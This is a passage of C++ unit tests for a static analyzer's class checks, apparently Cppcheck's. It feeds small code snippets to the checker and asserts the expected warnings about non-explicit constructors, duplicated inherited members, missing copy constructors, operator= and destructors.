\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : public Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:6:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:9:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base0 {\\n\"\n \" protected:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Base1 {\\n\"\n \" public:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base0, Base1 {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base0'. [duplInheritedMember]\\n\"\n \"[test.cpp:7:8] -> [test.cpp:10:8]: (warning) The struct 'Derived' defines member variable with name 'x' also defined in its parent class 'Base1'. [duplInheritedMember]\\n\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int y;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown 'Base' class\n checkDuplInheritedMembers(\"class Derived : public UnknownBase {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6692\n checkDuplInheritedMembers(\"namespace test1 {\\n\"\n \" struct SWibble{};\\n\"\n \" typedef SWibble wibble;\\n\"\n \"}\\n\"\n \"namespace test2 {\\n\"\n \" struct SWibble : public test1::wibble {\\n\"\n \" int Value;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9957\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class Derived1: public Base {\\n\"\n \" public:\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"class Derived2 : public Derived1 {\\n\"\n \" int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:10:9]: (warning) The class 'Derived2' defines member variable with name 'i' also defined in its parent class 'Base'. [duplInheritedMember]\\n\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"template\\n\"\n \"struct BitInt : public BitInt { };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // don't crash on recursive template\n checkDuplInheritedMembers(\"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits;\\n\"\n \"}\\n\"\n \"template \\n\"\n \"struct function_traits\\n\"\n \" : public _impl::fn_traits> {};\\n\"\n \"namespace _impl {\\n\"\n \" template \\n\"\n \" struct fn_traits\\n\"\n \" : public fn_traits {};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10594\n checkDuplInheritedMembers(\"template struct A { bool a = true; };\\n\"\n \"struct B { bool a; };\\n\"\n \"template<> struct A<1> : B {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:6:9]: (warning) The struct 'D' defines member function with name 'g' also defined in its parent struct 'B'. [duplInheritedMember]\\n\",\n errout_str());\n\n checkDuplInheritedMembers(\"struct B {\\n\"\n \" int g() const;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g(int) const;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {\\n\"\n \" struct T {\\n\"\n \" T() {}\\n\"\n \" };\\n\"\n \"};\\n\"\n \"struct T : S::T {\\n\"\n \" T() : S::T() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"struct B { virtual int& get() = 0; };\\n\" // #12311\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" int& get() override { return i; }\\n\"\n \" const int& get() const { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\" // #12353\n \" public:\\n\"\n \" void One();\\n\"\n \" void Two();\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" void Two() = delete;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkCopyConstructor(...) checkCopyConstructor_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyConstructor_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings3, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings3, this);\n checkClass.copyconstructors();\n }\n\n void copyConstructor1() {\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) : p(f.p), c(f.c)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(f.p)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" F&operator=(const F&);\\n\"\n \" ~F();\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F(const F &f) {\\n\"\n \" p = f.p;\\n\"\n \" }\\n\"\n \" F(char *str) {\\n\"\n \" p = malloc(strlen(str)+1);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n \"[test.cpp:3] -> [test.cpp:7]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"[test.cpp:4:7]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory. [copyCtorPointerCopying]\\n\"\n , errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(const F &f) :p(f.p)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(char *str)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,str);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (warning) Value of pointer 'p', which points to allocated memory, is copied in copy constructor instead of allocating new memory.\\n\"\n \"[test.cpp:5] -> [test.cpp:10]: (warning) Copy constructor does not allocate memory for member 'p' although memory has been allocated in other constructors.\\n\",\n \"\"\n , errout_str());\n\n checkCopyConstructor(\"class kalci\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" kalci()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,\\\"hello\\\");\\n\"\n \" }\\n\"\n \" kalci(const kalci &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" d=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~kalci();\\n\"\n \" kalci& operator=(const kalci&kalci);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" strcpy(p,str);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" strcpy(p,st);\\n\"\n \" d=(char *)malloc(100);\\n\"\n \" strcpy(p,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(p,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:14] -> [test.cpp:11]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string) {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *c;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" : p(malloc(size))\\n\"\n \" {\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:4]: (warning) Copy constructor does not allocate memory for member 'd' although memory has been allocated in other constructors.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c,*p,*d;\\n\"\n \" F()\\n\"\n \" {\\n\"\n \" p=(char *)malloc(100);\\n\"\n \" c=(char *)malloc(100);\\n\"\n \" d=(char*)malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:8]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\", \"\", errout_str());\n\n checkCopyConstructor(\"class F\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" char *c;\\n\"\n \" const char *p,*d;\\n\"\n \" F(char *str,char *st,char *string)\\n\"\n \" {\\n\"\n \" p=str;\\n\"\n \" d=st;\\n\"\n \" c=(char *)malloc(strlen(string)+1);\\n\"\n \" strcpy(d,string);\\n\"\n \" }\\n\"\n \" F(const F &f)\\n\"\n \" {\\n\"\n \" p=f.p;\\n\"\n \" d=f.d;\\n\"\n \" c=(char *)malloc(strlen(str)+1);\\n\"\n \" strcpy(d,f.p);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E { E(E&); };\\n\" // non-copyable\n \"class F : E\\n\"\n \"{\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class E {};\\n\"\n \"class F : E {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \" F(F& f);\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class F {\\n\"\n \" char *p;\\n\"\n \" F() : p(malloc(100)) {}\\n\"\n \" ~F();\\n\"\n \" F& operator=(const F&f);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Class 'F' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\", errout_str());\n\n // #7198\n checkCopyConstructor(\"struct F {\\n\"\n \" static char* c;\\n\"\n \" F() {\\n\"\n \" p = malloc(100);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor2() { // ticket #4458\n checkCopyConstructor(\"template \\n\"\n \"class Vector\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Vector() {\\n\"\n \" _M_finish = new _Tp[ 42 ];\\n\"\n \" }\\n\"\n \" Vector( const Vector<_Tp>& v ) {\\n\"\n \" }\\n\"\n \" ~Vector();\\n\"\n \" Vector& operator=(const Vector&v);\\n\"\n \" _Tp* _M_finish;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor3() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = delete;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f) = default;\\n\"\n \" F&operator=(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The copy constructor is explicitly defaulted but the default copy constructor does not work well. It is recommended to define or delete the copy constructor. [noCopyConstructor]\\n\", errout_str());\n }\n\n void copyConstructor4() {\n checkCopyConstructor(\"class noncopyable {\\n\"\n \"protected:\\n\"\n \" noncopyable() {}\\n\"\n \" ~noncopyable() {}\\n\"\n \"\\n\"\n \"private:\\n\"\n \" noncopyable( const noncopyable& );\\n\"\n \" const noncopyable& operator=( const noncopyable& );\\n\"\n \"};\\n\"\n \"\\n\"\n \"class Base : private noncopyable {};\\n\"\n \"\\n\"\n \"class Foo : public Base {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor5() {\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public Copyable, public UnknownType {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"class Copyable {};\\n\"\n \"\\n\"\n \"class Foo : public UnknownType, public Copyable {\\n\"\n \"public:\\n\"\n \" Foo() : m_ptr(new int) {}\\n\"\n \" ~Foo() { delete m_ptr; }\\n\"\n \"private:\\n\"\n \" int* m_ptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void copyConstructor6() {\n checkCopyConstructor(\"struct S {\\n\"\n \" S() {\\n\"\n \" for (int i = 0; i < 5; i++)\\n\"\n \" a[i] = new char[3];\\n\"\n \" }\\n\"\n \" char* a[5];\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4]: (warning) Struct 'S' does not have a copy constructor which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a operator= which is recommended since it has dynamic memory/resource management.\\n\"\n \"[test.cpp:4]: (warning) Struct 'S' does not have a destructor which is recommended since it has dynamic memory/resource management.\\n\",\n \"\",\n errout_str());\n }\n\n void deletedMemberPointer() {\n\n // delete ...\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { delete p; }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:19]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:19]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // free(...)\n checkCopyConstructor(\"struct P {};\\n\"\n \"class C {\\n\"\n \" P *p;\\n\"\n \"public:\\n\"\n \" explicit C(P *p) : p(p) {}\\n\"\n \" ~C() { free(p); }\\n\"\n \" void f() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (warning) Class 'C' does not have a copy constructor which is recommended since it has dynamic memory/resource management. [noCopyConstructor]\\n\"\n \"[test.cpp:6:17]: (warning) Class 'C' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n }\n\n void noOperatorEq() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a operator= which is recommended since it has dynamic memory/resource management. [noOperatorEq]\\n\", errout_str());\n\n // defaulted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = default;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The operator= is explicitly defaulted but the default operator= does not work well. It is recommended to define or delete the operator=. [noOperatorEq]\\n\", errout_str());\n\n // deleted operator=\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f) = delete;\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class deletes operator=\n checkCopyConstructor(\"struct F : NonCopyable {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" ~F();\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noDestructor() {\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" C* c;\\n\"\n \" F() { c = new C; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyConstructor(\"struct F {\\n\"\n \" int* i;\\n\"\n \" F() { i = new int(); }\\n\"\n \" F(const F &f);\\n\"\n \" F& operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n checkCopyConstructor(\"struct Data { int x; int y; };\\n\"\n \"struct F {\\n\"\n \" Data* c;\\n\"\n \" F() { c = new Data; }\\n\"\n \" F(const F &f);\\n\"\n \" F&operator=(const F&);\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (warning) Struct 'F' does not have a destructor which is recommended since it has dynamic memory/resource management. [noDestructor]\\n\", errout_str());\n\n // defaulted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = default;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Struct 'F' has dynamic memory/resource allocation(s). The destructor is explicitly defaulted but the default destructor does not work well. It is recommended to define the destructor. [noDestructor]\\n\", errout_str());\n\n // deleted destructor\n checkCopyConstructor(\"struct F {\\n\"\n \" char* c;\\n\"\n \" F() { c = malloc(100); }\\n\"\n \" F(const F &f);\\n\"\n \" F &operator=(const F &f);\\n\"\n \" ~F() = delete;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal returns reference to this\n#define checkOpertorEqRetRefThis(...) checkOpertorEqRetRefThis_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqRetRefThis_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n checkClass.operatorEqRetRefThis();\n }\n\n void operatorEqRetRefThis1() {\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return b; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) 